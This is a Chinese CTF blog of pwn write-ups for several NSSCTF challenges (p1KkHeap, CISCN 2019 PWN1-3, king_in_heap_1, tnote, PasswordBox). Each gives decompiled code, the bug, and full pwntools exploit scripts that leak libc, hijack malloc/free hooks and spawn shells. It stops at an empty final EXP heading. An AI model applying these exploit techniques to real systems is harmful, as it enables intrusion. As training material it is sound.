这是一个记录在NSSCTF平台上刷pwn题的博客,题目顺序按照刷题的先后顺序
SWPUCTF_2019_p1KkHeap
题目考点
1.tacahe bin attact
2.unsorted bin attact
3.malloc hook
函数
main 其中的各种功能只能调用18次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi int v4; // eax sub_B0A(); v3 = " Welcome to SWPUCTF 2019"; puts(" Welcome to SWPUCTF 2019"); while ( dword_202024 > 0 ) { sub_10C5(); v4 = sub_1076(v3, a2); if ( v4 == 3 ) { sub_EC1(); } else if ( v4 > 3 ) { if ( v4 == 5 ) ((void (*)(void))sub_E04)(); if ( v4 < 5 ) { sub_FD1(); } else if ( v4 == 666 ) { v3 = "p1Kk wants a boyfriend!"; puts("p1Kk wants a boyfriend!"); } } else if ( v4 == 1 ) { sub_E1E(); } else if ( v4 == 2 ) { sub_F58(); } --dword_202024; // 18 } sub_E04(v3, a2); }
sub_BA0 完成初始化以及沙盒,通过seccomp-tools得知禁用了one_gadget系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); fd = open("./logo", 4); read(fd, &unk_202140, 0x10932uLL); write(1, &unk_202140, 0x10932uLL); write(1, asc_202040, 0x52uLL); close(fd); if ( mmap((void *)0x66660000, 0x1000uLL, 7, 34, -1, 0LL) != (void *)1717960704 )// 在0x66660000处映射了0x1000大小的内存 exit(-1); memset((void *)0x66660000, 0, 0x1000uLL); strcpy((char *)0x66660000, "SWPUCTF_p1Kk"); prctl(38, 1LL, 0LL, 0LL, 0LL); // 沙箱禁用
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __fastcall sub_E1E(__int64 a1, __int64 a2) { int v3; // [rsp+4h] [rbp-Ch] size_t size; // [rsp+8h] [rbp-8h] printf("size: "); size = sub_1076(); if ( size > 0x100 ) // 最大申请0x100 sub_E04("size: ", a2); v3 = sub_DA9(); if ( v3 <= 7 ) // 最多申请7个 { qword_202100[v3] = malloc(size); dword_2020E0[v3] = size; } return puts("Done!"); }
delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall sub_FD1(__int64 a1, __int64 a2) { unsigned __int64 v3; // [rsp+8h] [rbp-8h] if ( dword_202020 <= 0 ) sub_E04(a1, a2); printf("id: "); v3 = sub_1076(); if ( v3 > 7 ) sub_E04("id: ", a2); free((void *)qword_202100[v3]); dword_2020E0[v3] = 0; // 这里只把大小清零,却没把指针清零 存在UAF --dword_202020; // dword_202020=3,只能free三次 return puts("Done!"); }
show
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall sub_F58(__int64 a1, __int64 a2) { unsigned __int64 v3; // [rsp+8h] [rbp-8h] printf("id: "); v3 = sub_1076(); if ( v3 > 7 ) sub_E04("id: ", a2); printf("content: "); puts((const char *)qword_202100[v3]); return puts("Done!"); }
edit
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall sub_EC1(__int64 a1, __int64 a2) { unsigned __int64 v3; // [rsp+8h] [rbp-8h] printf("id: "); v3 = sub_1076(); if ( v3 > 7 ) sub_E04("id: ", a2); printf("content: "); read(0, *((void **)&qword_202100 + v3), dword_2020E0[v3]); return puts("Done!"); }
攻击思路
这里是转自星盟的ha1vk师傅的攻击思路
我们该如何触发shellcode或ROP,在这,我们可以攻击__malloc_hook,将shellcode的地址写入到__malloc_hook,在这里,ROP显然很麻烦,因为ROP还要做栈转移,并且需要先前依靠一段shellcode来转移栈,如果供我们存放shellcode的地方空间很小,那么我们可以考虑写一段简短的shellcode,将栈转移,但是,如果我们有足够的空间来放shellcode,那么,直接把读取和输出flag的shellcode写到那个空间。
对于可写shellcode的空间很小,我还想到了另外一种方法,那就是写一段简短的shellcode,来调用int mprotect(const void *start, size_t len, int prot)函数,将某地址处属性修改为可执行,比如,我们可以把某个堆修改为可执行,那么就能在堆里布下shellcode。
程序在0x66660000这个固定的地址处映射了0x1000大小的空间,并且属性为RWX,既可读写,也具有执行属性,并且地址固定为0x66660000,使得我们更加方便。
所以,我们决定把shellcode写到0x66660000处,然后攻击malloc_hook,在malloc_hook处写入0x66660000,这样,当我们再次malloc时,就会执行shellcode。
首先,需要泄露一些地址,那么需要用到unsorted bin,但是,由于tcache的存在,对应的tcache bin满7个,接下来的堆块才会放入unsorted bin。满7个,就必须delete 7次,本题最多只能用3次,显然这个方案不可行。
下面是tcache的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 struct malloc_par { /* Tunable parameters */ unsigned long trim_threshold; INTERNAL_SIZE_T top_pad; INTERNAL_SIZE_T mmap_threshold; INTERNAL_SIZE_T arena_test; INTERNAL_SIZE_T arena_max; /* Memory map support */ int n_mmaps; int n_mmaps_max; int max_n_mmaps; /* the mmap_threshold is dynamic, until the user sets it manually, at which point we need to disable any dynamic behavior. */ int no_dyn_threshold; /* Statistics */ INTERNAL_SIZE_T mmapped_mem; INTERNAL_SIZE_T max_mmapped_mem; /* First address handed out by MORECORE/sbrk. */ char *sbrk_base; #if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache. */ size_t tcache_unsorted_limit; #endif }; static struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1) #if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */ #endif };
注意,size_t tcache_bins;是无符号的,但是 tcache->counts[tc_idx]是有符号数组
当一个有符号数和一个无符号数进行比较时,有符号数会先转换成无符号数,然后再进行比较。
那么,假设,我们double free同一个堆,那么在tcache bin里就会构成循环链表,此时count=2,然后,我们再create 3个一样大小的堆,那么count就变成了-1,此时,我们再delete一个unsorted bin范围的堆,这个堆就会放入unsorted bin,然后我们用show功能就能泄露出libc中的指针。
但是该程序只能free3次,所以我们用一次攻击,直接去攻击tcache bin的表头,那么,下次,我们就能直接修改表头,来决定下一次堆分配到哪个地方。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *elf = ELF ('/home/hgg/Desktop/pwn/heap/pwn1' ) libc = ELF('/home/hgg/Desktop/pwn/heap/libc-2.27.so' ) context.log_level = 'debug' context.arch = 'amd64' io = remote(1.14 .71 .254 :28070 ) def add (size ): io.recvuntil('Choice:' ) io.sendline('1' ) io.recvuntil('size:' ) io.sendline(str (size)) def show (idx ): io.recvuntil('Choice:' ) io.sendline('2' ) io.recvuntil('id:' ) io.sendline(str (idx)) def free (idx ): io.recvuntil('Choice:' ) io.sendline('4' ) io.recvuntil('id:' ) io.sendline(str (idx)) def edit (idx,data ): io.recvuntil('Choice:' ) io.sendline('3' ) io.recvuntil('id:' ) io.sendline(str (idx)) io.recvuntil('content:' ) io.send(data) add(0x100 ) add(0x100 ) free(1 ) free(1 ) show(1 ) io.recvuntil('content: ' ) first_chunk=u64(io.recv(6 ).ljust(8 ,b'\x00' )) tcache_entry=first_chunk-0x198 -0x110 print (hex (tcache_entry))add(0x100 ) edit(2 ,p64(tcache_entry)) add(0x100 ) add(0x100 ) rwx_add=0x66660000 edit(4 ,p64(rwx_add)) add(0x100 ) shellcode=shellcraft.open ('flag' ) shellcode+=shellcraft.read(3 ,0x66660100 ,64 ) shellcode+=shellcraft.write(1 ,0x66660100 ,64 ) edit(5 ,asm(shellcode)) free(0 ) show(0 ) io.recvuntil('content: ' ) libc_base=u64(io.recv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 print (hex (libc_base))malloc_hook=libc_base+0x3ebc30 edit(4 ,p64(malloc_hook)) add(0x100 ) edit(6 ,p64(rwx_add)) add(0x100 ) io.interactive()
CISCN 2019东北 PWN2
IDA分析
encrypt 函数中有个栈溢出,这题直接ret2libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *elf = ELF ('/home/hgg/Desktop/pwn/pwn2' ) libc = ELF('/home/hgg/Desktop/libc-2.27.so' ) context.log_level = 'debug' context.arch = 'amd64' ''' 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c80 : pop r14 ; pop r15 ; ret 0x0000000000400c82 : pop r15 ; ret 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004007f0 : pop rbp ; ret 0x0000000000400aec : pop rbx ; pop rbp ; ret 0x0000000000400c83 : pop rdi ; ret 0x0000000000400c81 : pop rsi ; pop r15 ; ret 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b9 : ret 0x00000000004008ca : ret 0x2017 0x0000000000400962 : ret 0x458b 0x00000000004009c5 : ret 0xbf02 Unique gadgets found: 15 ''' p = remote("1.14.71.254" ,28015 ) main = elf.sym['main' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] pop_rdi = 0x400c83 pop_4 = 0x400c7c ret = 0x4006b9 payload = b'a' *0x50 +p64(0 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) def encrypt (payload ): p = "" for x in payload: x = chr (x) if ord (x)<=96 or ord (x)>122 : if ord (x)<=64 or ord (x)>90 : if ord (x)>47 and ord (x)<=57 : x=chr (ord (x)^0xc ) else : x=chr (ord (x)^0xd ) else : x=chr (ord (x)^0xe ) p += x return (p) p.recvuntil("Input your choice!\n" ) p.sendline("1" ) p.recvuntil("Input your Plaintext to be encrypted\n" ) p.sendline(encrypt(payload)) libc_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['puts' ] print (hex (libc_addr))system = libc_addr + libc.sym['system' ] bin_sh = libc_addr + 0x1b3e9a payload2 = b'a' *0x50 +p64(0 )+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(main) p.recvuntil("Input your choice!\n" ) p.sendline("1" ) p.recvuntil("Input your Plaintext to be encrypted\n" ) p.sendline(payload2) p.interactive()
CISCN 2019东北 PWN3
IDA 分析
main函数
print_chk()明显是个格式化字符串
这个题能用的函数就两个
add
delete
存在UAF
题目思路
题目给的环境是Ubuntu 18 glibc 2.27
这里直接就一个格式化字符串泄露libc地址再tcachebin double free 来Getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *libc = ELF("libc-2.27.so" ) elf = ELF("/home/hgg/Desktop/pwn27/pwn" ) p = process("/home/hgg/Desktop/pwn27/pwn" ) def add (size,story ): p.sendlineafter('choice:' ,'1' ) p.sendlineafter('story:' ,str (size)) p.sendlineafter('story:' ,story) def delete (idx ): p.sendlineafter('choice:' ,'4' ) p.sendlineafter('index:' ,str (idx)) p.recvuntil("name?\n" ) p.sendline("aaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p" ) s = str (p.recv(130 )).split("." ) print (s)libc_addr = int (s[7 ],16 )-0x81237 print (hex (libc_addr))p.recvuntil("Please input your ID." ) p.send("3" ) free_hook = libc_addr + libc.sym['__free_hook' ] system = libc_addr + libc.sym['system' ] add(0x20 ,'aaaa' ) add(0x20 ,'/bin/sh\x00' ) delete(0 ) delete(0 ) add(0x20 ,p64(free_hook)) add(0x20 ,'a' ) gdb.attach(p) add(0x20 ,p64(system)) delete(1 ) p.interactive()
[CISCN 2019华北]PWN1
题目思路
简单的栈溢出 + ret2text
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *elf = ELF('BBB' ) libc =ELF('libc-2.27.so' ) p = remote("1.14.71.254" ,28049 ) ret = 0x400501 pop_rdi = 0x400793 cat_flag = 0x04007CC system = elf.plt['system' ] p.recvuntil("number." ) payload = b'a' *0x30 + p64(0 )+p64(ret)+p64(pop_rdi)+p64(cat_flag)+p64(system) p.sendline(payload) ''' 0x000000000040078c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040078e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400790 : pop r14 ; pop r15 ; ret 0x0000000000400792 : pop r15 ; ret 0x000000000040078b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040078f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004005e0 : pop rbp ; ret 0x0000000000400793 : pop rdi ; ret 0x0000000000400791 : pop rsi ; pop r15 ; ret 0x000000000040078d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400501 : ret ''' p.interactive()
[CISCN 2019西南]PWN1
题目分析
漏洞点是main函数中的格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char format; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); puts ("Welcome to my ctf! What's your name?" ); __isoc99_scanf("%64s" , &format); printf ("Hello " ); printf (&format); return 0 ; }
main函数只能执行一次,但是在函数退出的时候回去执行__fini_array里的函数
由于题目是"No RELRO"所以__fini_array可读可写
所以本题可以利用格式化字符串任意地址写来同时将__fini_array[0]写为main,printf_got写为system_plt
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *elf = ELF("CCC" ) p = process("CCC" ) p = remote("1.14.71.254" ,28060 ) system = elf.plt['system' ] main = elf.sym['main' ] printf = elf.got['printf' ] fini = 0x0804979C payload = p32(fini+ 2 ) + p32(printf+2 ) + p32(printf) + p32(fini) ''' payload += "%" + str(0x0804 - 0x10) + "c%4$hn" #0804 payload += "%5$hn" #0804 payload += "%" + str(0x83D0 - 0x0804) + "c%6$hn" #83D0 payload += "%" + str(0x8534 - 0x83D0) + "c%7$hn" #8534 ''' payload += b'%2036c%4$hn%5$hn%31692c%6$hn%356c%7$hn' p.recvuntil("name?" ) p.sendline(payload) p.recvuntil("name?\n" ) p.sendline("/bin/sh\x00" ) p.interactive()
[2021 长城杯院校组]king_in_heap_1
题目考点
1.uaf
2.fastbin attack
3.House-of-Roman
漏洞分析
delete 函数存在uaf
1 2 3 4 5 6 7 8 9 10 void delete () { int index; puts ("input index:" ); index = get_num(); if ( index < 0 || index > 10 || !heaparray[index] || !lenarray[index] ) exit (0 ); free ((void *)heaparray[index]); }
同时给出了printf的后3位
1 2 3 4 int gift () { return printf ("%p\n" , (unsigned __int64)&printf & 0xFFFFFF ); }
解题步骤
Step1 leak libc
首先利用给出的printf的后三位计算出stderr+157的地址
1 2 3 4 gift() p.recvuntil('0x' ) printf = int (p.recv(6 ),16 ) stderr_157 = printf + 0x36fdcd
stderr+157:这个偏移是固定,在2.23版本的libc中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露出stderr+192 的地址
之后就是结合fastbin attack泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 add(0 ,0x60 ) add(1 ,0xf0 ) add(2 ,0x60 ) add(3 ,0x60 ) free(1 ) add(4 ,0x60 ) edit(4 ,p64(stderr_157)[:3 ]) free(0 ) free(2 ) edit(2 ,p8(0x70 )) add(5 ,0x60 ) add(6 ,0x60 ) add(7 ,0x60 ) payload = b'\x00' *0x33 +p64(0xfbad1800 )+p64(0 )*3 +b'\x00' edit(7 ,payload) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) -0x3c5600
这段paylaod的写法可以参考:https://www.jianshu.com/p/27152c14e2e7
Step2 劫持malloc_hook get shell
这里利用方法参考:https://blog.csdn.net/seaaseesa/article/details/103057937
1 2 3 4 5 6 7 8 9 10 11 12 13 14 malloc_hook_offset = libc_base + libc.sym['__malloc_hook' ] -0x23 system = libc_base + libc.sym['system' ] realloc = libc_base + libc.sym['realloc' ] one_gadget=[0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] one = libc_base + one_gadget[1 ] add(8 ,0x60 ) free(8 ) edit(8 ,p64(malloc_hook_offset)) add(9 ,0x60 ) add(10 ,0x60 ) edit(10 ,b'\x00' *(0x13 -8 ) + p64(one)+p64(realloc+12 )) add(8 ,0x10 ) p.interactive()
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *p = process('EEE' ) elf = ELF('EEE' ) libc = ELF('libc-2.23.so' ) def add (index,size ): p.recvuntil(">>" ) p.sendline("1" ) p.recvuntil("index:" ) p.sendline(str (index)) p.recvuntil("size:" ) p.sendline(str (size)) def free (index ): p.recvuntil(">>" ) p.sendline("2" ) p.recvuntil("index:" ) p.sendline(str (index)) def edit (index,content ): p.recvuntil(">>" ) p.sendline("3" ) p.recvuntil("index:" ) p.sendline(str (index)) p.recvuntil("context:" ) p.sendline(content) def gift (): p.recvuntil(">>" ) p.sendline("666" ) gift() p.recvuntil('0x' ) printf = int (p.recv(6 ),16 ) stderr_157 = printf + 0x36fdcd add(0 ,0x60 ) add(1 ,0xf0 ) add(2 ,0x60 ) add(3 ,0x60 ) free(1 ) add(4 ,0x60 ) edit(4 ,p64(stderr_157)[:3 ]) free(0 ) free(2 ) edit(2 ,p8(0x70 )) add(5 ,0x60 ) add(6 ,0x60 ) add(7 ,0x60 ) payload = b'aaa' +p64(0 )*6 +p64(0xfbad1800 )+p64(0 )*3 +b'\x00' edit(7 ,payload) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) -0x3c5600 malloc_hook_offset = libc_base + libc.sym['__malloc_hook' ] -0x23 system = libc_base + libc.sym['system' ] realloc = libc_base + libc.sym['realloc' ] one_gadget=[0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] one = libc_base + one_gadget[1 ] add(8 ,0x60 ) free(8 ) edit(8 ,p64(malloc_hook_offset)) add(9 ,0x60 ) add(10 ,0x60 ) edit(10 ,b'\x00' *(0x13 -8 ) + p64(one)+p64(realloc+12 )) add(8 ,0x10 ) p.interactive()
SWPU 2020 tnote
漏洞分析
在题目的edit函数中存在off by one
1 2 3 4 5 6 7 for ( i = 0 ; i <= dword_202060[v3]; ++i ) { read(0 , &buf, 1uLL ); if ( buf == 10 ) break ; *(_BYTE *)(i + qword_202080[v3]) = buf; }
利用off by one 来修改 chunk 的szie 位来造成tacahe overlapping
解题步骤
Step1:构造overlapped chunk
在申请的时候需要注意,chunk2和chunk4的大小一致,方便等下释放进入tacahe
修改chunk1 的大小为0x71,此时chunk1和chunk2重合
1 2 3 4 5 6 7 8 9 add(0x18 ) add(0x18 ) add(0x48 ) add(0x38 ) add(0x48 ) edit(0 ,b'a' *0x18 +b'\x71' ) free(1 ) add(0x68 )
Step2:泄露堆地址
释放chunk4和chunk2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pwndbg> hex 0x55c37c076000 2000 +0000 0x55c37c076000 00 00 00 00 00 00 00 00 51 02 00 00 00 00 00 00 │....│....│Q...│....│ +0010 0x55c37c076010 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ +0020 0x55c37c076020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ ... +0060 0x55c37c076060 00 00 00 00 00 00 00 00 a0 62 07 7c c3 55 00 00 │....│....│.b.|│.U..│ +0070 0x55c37c076070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ ... +0250 0x55c37c076250 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│ +0260 0x55c37c076260 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ +0270 0x55c37c076270 61 61 61 61 61 61 61 61 71 00 00 00 00 00 00 00 │aaaa│aaaa│q...│....│ +0280 0x55c37c076280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ +0290 0x55c37c076290 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00 │....│....│Q...│....│ +02a0 0x55c37c0762a0 30 63 07 7c c3 55 00 00 10 60 07 7c c3 55 00 00 │0c.|│.U..│.`.|│.U..│ +02b0 0x55c37c0762b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ ... +02e0 0x55c37c0762e0 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 │....│....│A...│....│ +02f0 0x55c37c0762f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ ... +0320 0x55c37c076320 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00 │....│....│Q...│....│ +0330 0x55c37c076330 00 00 00 00 00 00 00 00 10 60 07 7c c3 55 00 00 │....│....│.`.|│.U..│ +0340 0x55c37c076340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ ... +0370 0x55c37c076370 00 00 00 00 00 00 00 00 91 0c 02 00 00 00 00 00 │....│....│....│....│ +0380 0x55c37c076380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│ ... pwndbg> bins tcachebins 0x50 [ 2]: 0x55c37c0762a0 —> 0x55c37c076330 <— 0x0
泄露堆地址,利用heap_addr计算出存储0x90大小的tacahe bin count的位置以及0x50大小的tacahe bin在tacahe struct中的位置
1 2 3 4 5 edit(1 ,b'a' *0x20 ) show(1 ) heap = u64(p.recvuntil("Done" , drop=True )[-6 :].ljust(8 , b'\x00' ))-0x330 tacahe_addr = heap + 0x68 count0x90 = heap + 0x17
Step3 泄露libc
泄露libc的思路就是将0x90大小的tacahe bin的conunt 改为 7 这样当我再释放下一个0x90大小的堆的时候他就会进入unsorted bin进而unsorted bin attack
在这之前先利用之前overlap修改 tcachebin fd 指针指向结构体,第二次申请就能申请到 tcache 结构体,从而修改数量tacahe count
1 2 3 4 5 6 7 8 9 10 11 12 edit(1 ,b'a' *0x18 +p64(0x51 )+p64(tacahe_addr)) add(0x48 ) edit(1 , b'a' * 0x18 + b'\x91' ) add(0x48 ) edit(4 , p64(heap-0x319 )) ''' pwndbg> bins # tcachebins 0x50 [ 0]: 0x558836a30017 <— ... ''' add(0x48 ) edit(5 , '\x07' )
此时的0x90大小的tacahe count 已经被改成了7,接下来只要释放一个大小为0x90的chunk它就会进入unsorted bin
1 2 3 edit(1 ,b'a' *0x20 ) show(1 ) libc_base = u64(p.recvuntil("Done" , drop=True )[-6 :].ljust(8 , b'\x00' ))-0x3ebca0
Step4: 利用之前的任意地址写修改__free_hook为system来getshell
1 2 3 4 5 6 7 8 free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] edit(4 , p64(free_hook)) add(0x48 ) edit(2 ,p64(system)) edit(3 ,b'/bin/sh\x00' ) free(3 )
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *p = process('AAA' ) elf = ELF('AAA' ) libc = ELF('libc-2.27.so' ) def add (size ): p.recvuntil("choice:" ) p.sendline("A" ) p.recvuntil("size?" ) p.sendline(str (size)) def edit (idx,content ): p.recvuntil("choice:" ) p.sendline("E" ) p.recvuntil("idx?" ) p.sendline(str (idx)) p.recvuntil("content:" ) p.sendline(content) def free (idx ): p.recvuntil("choice:" ) p.sendline("D" ) p.recvuntil("idx?" ) p.sendline(str (idx)) def show (idx ): p.recvuntil("choice:" ) p.sendline("S" ) p.recvuntil("idx?" ) p.sendline(str (idx)) add(0x18 ) add(0x18 ) add(0x48 ) add(0x38 ) add(0x48 ) edit(0 ,b'a' *0x18 +b'\x71' ) free(1 ) add(0x68 ) free(4 ) free(2 ) edit(1 ,b'a' *0x20 ) show(1 ) heap = u64(p.recvuntil("Done" , drop=True )[-6 :].ljust(8 , b'\x00' )) tacahe_addr = heap - 0x2C8 edit(1 ,b'a' *0x18 +p64(0x51 )+p64(tacahe_addr)) add(0x48 ) edit(1 , b'a' * 0x18 + b'\x91' ) add(0x48 ) edit(4 , p64(heap-0x319 )) gdb.attach(p) add(0x48 ) edit(5 , '\x07' ) free(2 ) edit(1 ,b'a' *0x20 ) show(1 ) libc_base = u64(p.recvuntil("Done" , drop=True )[-6 :].ljust(8 , b'\x00' ))-0x3ebca0 print (hex (libc_base))free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] edit(4 , p64(free_hook)) add(0x48 ) edit(2 ,p64(system)) edit(3 ,b'/bin/sh\x00' ) free(3 ) p.interactive()
p.s. 本题的flag在/home/ctf/flag.txt
[2021 祥云杯]PasswordBox free Version
题目考点
1.异或算法
2.off by null
3.Unlink
4.glibc 2.27 -v1.4 double free
功能分析
add函数主要代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if ( (unsigned int )size <= 0x100 ){ s = (char *)malloc ((unsigned int )size); printf ("Your Pwd:" ); getchar(); fgets(s, size + 1 , stdin ); encrypt((__int64)s, size); *((_DWORD *)&lenarray + 8 * SHIDWORD(size)) = size; *((_QWORD *)&heaparray + 4 * SHIDWORD(size)) = s; isAlive[8 * SHIDWORD(size)] = 1 ; if ( !ifFirst ) { printf ("First Add Done.Thx 4 Use. Save ID:%s" , *((const char **)&heaparray + 4 * SHIDWORD(size))); ifFirst = 1LL ; } }
fgets 存在off by null 可以让我们后面修改chunk的size
且输入的content会进行一次加密,加密函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __int64 __fastcall encrypt (__int64 note, int a2) { __int64 result; int v3; int i; v3 = 2 * (a2 / 16 ); if ( a2 % 16 <= 8 ) { if ( a2 % 16 > 0 ) ++v3; } else { v3 += 2 ; } for ( i = 0 ; ; ++i ) { result = (unsigned int )i; if ( i >= v3 ) break ; *(_QWORD *)(8LL * i + note) ^= key; } return result; }
可以看到是以八位为单位进行亦或操作,但是每次的key都是随机生成的,而由于获取我们输入的是fgets,当它读到"\n"且你输入的content小于size,就会将剩下的用0填充,由于0^key=key这样我们就能得到key了
edit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 edit () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( !isFirst ) { __isoc99_scanf("%u" , &v1); getchar(); isFirst = 1LL ; read(0 , *((void **)&heaparray + 4 * v1), 0x10 uLL); puts ("Because this is Free Version.The edit Function is Limit to use" ); } return __readfsqword(0x28 u) ^ v2; }
一个堆,一生只能edit1次,且只能改0x10的大小
free和show都是正常的free和show
解题步骤
Step1: 获得key
利用a ^ 0 = a的特性,得到key
1 2 3 4 5 add(0xf8 ,b'a\n' ) p.recvuntil("Save ID:" ) p.recv(8 ) key = u64(p.recv(8 )) print (hex (key))
Step2:构造overlapped chunk leak libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 for i in range (6 ): add(0xf8 ,b'aaa' ) add(0xf8 ,b'aaa' ) add(0x78 ,b'aaa' ) add(0xf8 ,b'aaa' ) add(0x88 ,b'aaa' ) for i in range (7 ): free(i) free(8 ) free(7 ) add(0x78 ,b'a' *0x70 +p64((0x80 +0x100 )^key)) free(9 ) add(0x78 ,b'aaa' ) add(0x78 ,b'aaa' ) show(0 ) p.recvuntil(b'is: ' ) libc_base = u64(p.recv(8 )) ^ key libc_base -= 0x3ebca0
Step3:double free修改free_hook,注意在第二次free之前要修改标志位
1 2 3 4 5 6 7 8 9 10 11 add(0x60 ,b'aaa' ) free(0 ) edit(3 ,b'a' *0x10 ) free(3 ) add(0x60 ,p64(free_hook^key)) add(0x60 ,b'\x00' ) add(0x60 ,p64(system^key)) add(0x60 ,p64(binsh^key)) free(5 )
EXP
